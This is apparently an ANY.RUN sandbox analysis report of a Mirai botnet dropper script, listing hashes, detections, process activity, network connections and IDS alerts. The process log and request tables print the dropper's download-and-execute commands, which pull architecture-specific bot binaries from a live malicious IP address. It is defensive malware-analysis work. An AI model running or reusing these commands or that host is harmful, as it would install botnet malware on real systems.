File name:

sh.sh

Full analysis: https://app.any.run/tasks/6a121ae3-6993-4ba0-8bdd-b852db20378f
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: March 24, 2025, 14:57:00
OS: Ubuntu 22.04.2
Tags:
mirai
botnet
Indicators:
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

7393E984E074F269801F141A2D2B5850

SHA1:

CAE940BFBB0B186B33E20AC58647E8D49B782F3A

SHA256:

05EC78CADAEE35AC3F477992FE62504D29F87783EF9C65B3E618C62D22974A3A

SSDEEP:

12:Ui6bdz4l16bd2t4YTY4Mab4LIO45QbO4NF4gPte4CTJGje4HX42GE:UiodkzodvUMti5qwg7YYxoHE

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • MIRAI has been detected (SURICATA)

      • wget (PID: 40692)

  • SUSPICIOUS

    • Creates files in the user directory

      • wget (PID: 40680)
      • wget (PID: 40687)
      • wget (PID: 40697)
      • wget (PID: 40692)
      • wget (PID: 40719)
      • wget (PID: 40708)
      • wget (PID: 40703)
      • wget (PID: 40714)
      • wget (PID: 40735)

    • Modifies file or directory owner

      • sudo (PID: 40674)

    • Executes commands using command-line interpreter

      • sudo (PID: 40677)

    • Uses wget to download content

      • bash (PID: 40678)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 40678)

    • Connects to the server without a host name

      • wget (PID: 40680)

    • Potential Corporate Privacy Violation

      • wget (PID: 40680)

  • INFO

    • Checks timezone

      • wget (PID: 40680)
      • wget (PID: 40687)
      • wget (PID: 40714)
      • wget (PID: 40719)
      • wget (PID: 40708)
      • wget (PID: 40697)
      • wget (PID: 40692)
      • wget (PID: 40703)
      • wget (PID: 40735)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
279
Monitored processes
57
Malicious processes
3
Suspicious processes
2

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget systemctl no specs chmod no specs b no specs rm no specs wget b chmod no specs bash no specs b no specs rm no specs #MIRAI wget chmod no specs bash no specs rm no specs wget systemctl no specs chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs systemctl no specs systemctl no specs

Process information

PID
CMD
Path
Indicators
Parent process
40673/bin/sh -c "sudo chown user /home/user/Desktop/sh\.sh && chmod +x /home/user/Desktop/sh\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/sh\.sh "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40674sudo chown user /home/user/Desktop/sh.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40675chown user /home/user/Desktop/sh.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40676chmod +x /home/user/Desktop/sh.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40677sudo -iu user /home/user/Desktop/sh.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40678/bin/bash /home/user/Desktop/sh.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40679/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40680wget http://103.135.45.110/bot.x86 -O b/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40681systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service/usr/bin/systemctl—snapd
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40682chmod 777 b/usr/bin/chmod—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
40680wget/home/user/bbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
25
TCP/UDP connections
19
DNS requests
36
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
—
169.150.255.183:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
—
—
—
—
—
GET
—
212.102.56.179:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
—
—
—
—
—
GET
204
185.125.190.98:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
40680
wget
GET
200
103.135.45.110:80
http://103.135.45.110/bot.x86
unknown
—
—
malicious
40692
wget
GET
—
103.135.45.110:80
http://103.135.45.110/bot.mips
unknown
—
—
malicious
40687
wget
GET
—
103.135.45.110:80
http://103.135.45.110/bot.x86_64
unknown
—
—
malicious
40697
wget
GET
—
103.135.45.110:80
http://103.135.45.110/bot.mpsl
unknown
—
—
malicious
40708
wget
GET
—
103.135.45.110:80
http://103.135.45.110/bot.arm5
unknown
—
—
malicious
40714
wget
GET
—
103.135.45.110:80
http://103.135.45.110/bot.arm6
unknown
—
—
malicious
—
—
GET
200
169.150.255.180:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
binary
1.65 Mb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
91.189.91.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.98:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
—
—
169.150.255.183:443
odrs.gnome.org
—
GB
whitelisted
—
—
195.181.175.40:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
—
—
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
40680
wget
103.135.45.110:80
—
—
—
malicious
40687
wget
103.135.45.110:80
—
—
—
malicious
40692
wget
103.135.45.110:80
—
—
—
malicious

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::97
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::196
  • 2001:67c:1562::24
  • 2620:2d:4000:1::96
  • 2001:67c:1562::23
  • 2620:2d:4002:1::198
  • 185.125.190.98
  • 185.125.190.49
  • 185.125.190.17
  • 185.125.190.48
  • 91.189.91.48
  • 185.125.190.97
  • 185.125.190.18
  • 91.189.91.97
  • 185.125.190.96
  • 91.189.91.96
  • 91.189.91.49
  • 91.189.91.98
whitelisted
odrs.gnome.org
  • 169.150.255.183
  • 207.211.211.26
  • 37.19.194.80
  • 195.181.175.40
  • 169.150.255.180
  • 195.181.170.19
  • 212.102.56.179
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::107
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.55
  • 185.125.188.54
  • 185.125.188.59
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::6d
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::42
whitelisted
google.com
  • 142.250.185.78
  • 2a00:1450:4001:806::200e
whitelisted
bot.dstats.org
  • —
unknown
8.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
40680
wget
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
40692
wget
A Network Trojan was detected
AV INFO Possible Mirai .mips Executable Download
40680
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
40687
wget
Potentially Bad Traffic
ET INFO X86_64 File Download Request from IP Address
40680
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
40692
wget
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
40708
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .arm file File
40714
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .arm file File
No debug info